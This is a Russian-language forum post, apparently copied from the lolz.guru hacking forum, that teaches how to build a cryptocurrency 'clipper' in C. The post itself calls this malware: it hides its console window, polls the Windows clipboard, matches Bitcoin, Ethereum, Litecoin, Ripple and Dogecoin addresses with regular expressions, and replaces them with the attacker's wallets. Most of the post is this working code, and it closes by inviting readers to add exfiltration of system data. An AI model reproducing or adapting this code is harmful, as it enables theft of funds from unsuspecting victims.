Программирование
December 12, 2021

Делаем свой клиппер за 30 минут

by https://lolz.guru/backdoortp/ from https://lolz.guru/

Как устроен клиппер?

Давайте разберемся, что вообще есть клиппер. Клиппер - вредоносная программа, заменяющая криптоадреса в буфере обмена на адреса злоумышленника, дабы жертва во время отправки монет отправила их к злоумышленнику.
По этому описанию накидываем схему работы:

Выглядит достаточно просто. Разбираем каждый блок -
Получение и подмена буфера обмена может быть реализована через любую библиотеку, работающую с winapi на любом языке.
Как же проверять, является ли текст адресом?
Ответ - регулярные выражения (regex). Для чайников - регулярные выражения это формальный язык, благодаря которому можно проверять соответствие текста определенным критериям - длина, набор букв и так далее.
Почитать подробнее о них можно здесь. Проверка на соответствие происходит по паттернам (англ. pattern, у нас обычно используется термин "шаблон"). Паттерны можно спокойно найти в интернете по запросу "*крипта* address regex".
Теперь я покажу на своем примере, что написать свой клиппер значительно проще, чем вы думаете.

Написание клиппера

Я буду писать на C, его можно написать хоть на питоне, но не рекомендуется.
Создаем проект в Visual Studio, в нем создаем главный файл, я назвал его main.c.

Так как в стандартной библиотеке C нет библиотеки для регулярок, я буду использовать до невозможности сырую, но единственную и компактную библиотеку tiny-regex-c. Скачиваем re.c и re.h, импортируем их в проект.

Импортируем нужные библиотеки в main.c и скрываем консоль через ключевые слова для компилятора (pragma):

#include_re_h_
#include_windows_h_
#pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup")

Пишем функции для получения и подмены буфера обмена:

char* getclipboard()
{
    static HANDLE clip;
    if (OpenClipboard(NULL))
    {
        clip = GetClipboardData(CF_TEXT); 
        CloseClipboard();
    }
        return (char*)clip;
}
void setclipboard(char* text)
{
    HGLOBAL global = GlobalAlloc(GMEM_FIXED, strlen(text) + 1); 
    memcpy(global, text, strlen(text));
    if (OpenClipboard(NULL))
    {
        EmptyClipboard(); 
        SetClipboardData(CF_TEXT, global);
        CloseClipboard();
    }
}

Создаем структуру для кошельков, она позволит без сложностей добавлять новые кошельки в клиппер (а с помощью регулярок, можно будет добавить хоть подмену ссылок оплаты)

typedef struct crypto 
{
    char* ptn; 
    char* address;
};

Основная функция main. Создаем в ней переменные с нашими кошельками:

const char* btcadr = "";
const char* segwitadr = ""; const char* ethadr = "";
const char* ltcadr = "";
const char* xrpadr = "";
const char* dogeadr = "";

Создаем структуры для кошельков и объединяем их в один список. Переменная ptn - паттерн regex, переменная address - адрес, который будет подменяться.
У меня будет 5 криптовалют - Bitcoin (+SegWit адреса (bc1q)), Ethereum, Litecoin, Ripple, Dogecoin.

struct crypto btc = { .ptn = "^[13][a-km-zA-HJ-NP-Z1-9]*quot;,.address = btcadr };
struct crypto segwit = { .ptn = "^bc1q[a-zA-HJ-NP-Z0-9]*quot;, .address = segwitadr };
struct crypto eth = { .ptn = "^0x[a-fA-F0-9]*quot;, .address = ethadr };
struct crypto ltc = { .ptn = "^[LM3][a-km-zA-HJ-NP-Z1-9]*quot;, .address = ltcadr };
struct crypto xrp = { .ptn = "^r[0-9a-zA-Z]*quot;, .address = xrpadr };
struct crypto doge = { .ptn = "^D[5-9A-HJ-NP-U][1-9A-HJ-NP-Za-km-z]*quot;, .address = dogeadr };
struct crypto all[6] = { btc, segwit, eth, ltc, xrp, doge }; //где 6, - кол-во сервисов

В регулярных выражениях стоит нефиксированное (*) число повторов. Это не так безопасно, так как, скажем, текст 1abc подойдет по регулярке и будет подменен. Используется из-за того, что в tiny-regex-c нельзя прописать фиксированное количество повторов, во всех языках где это поддерживается, призываю ставить фиксированное количество повторов, соответствующее типу адреса.
Основной цикл:

while (1)
{
    char* clipdata = getclipboard(); // получение буфера обмена
    if (clipdata != NULL) // если в буфере что-то есть
    {
        for (int i = 0; i < 6; i++) // цикл из всех типов кошельков, где 6 - количество сервисов
        {
            int matchlen;
            int match = re_match(all[i].ptn, clipdata, &matchlen); // проверка, является ли текст в буфере соответствующим адресом 
            if (match != -1) // если является, подмена буфера обмена на заданный в коде адрес
            { 
            setclipboard(all[i].address); 
            } 
        }
    }
    Sleep(50); // чтобы не грузило процессор: после каждой проверки сон на 0.05 сек }

В комментариях прописал, за что отвечает каждая команда.

На написание этого клиппера у меня ушло ~полчаса. Всего 65 строк, итоговый стаб весит 12.5кб.
Добавлять подмену других адресов по регулярке можно таким же образом, как добавлены кошельки выше. Отправку информации о ПК и прочую херню может впаять любой желающий, при наличии гугла.


Исходники - тык

copypasted by https://lolz.guru/moneymaker/ from https://lolz.guru/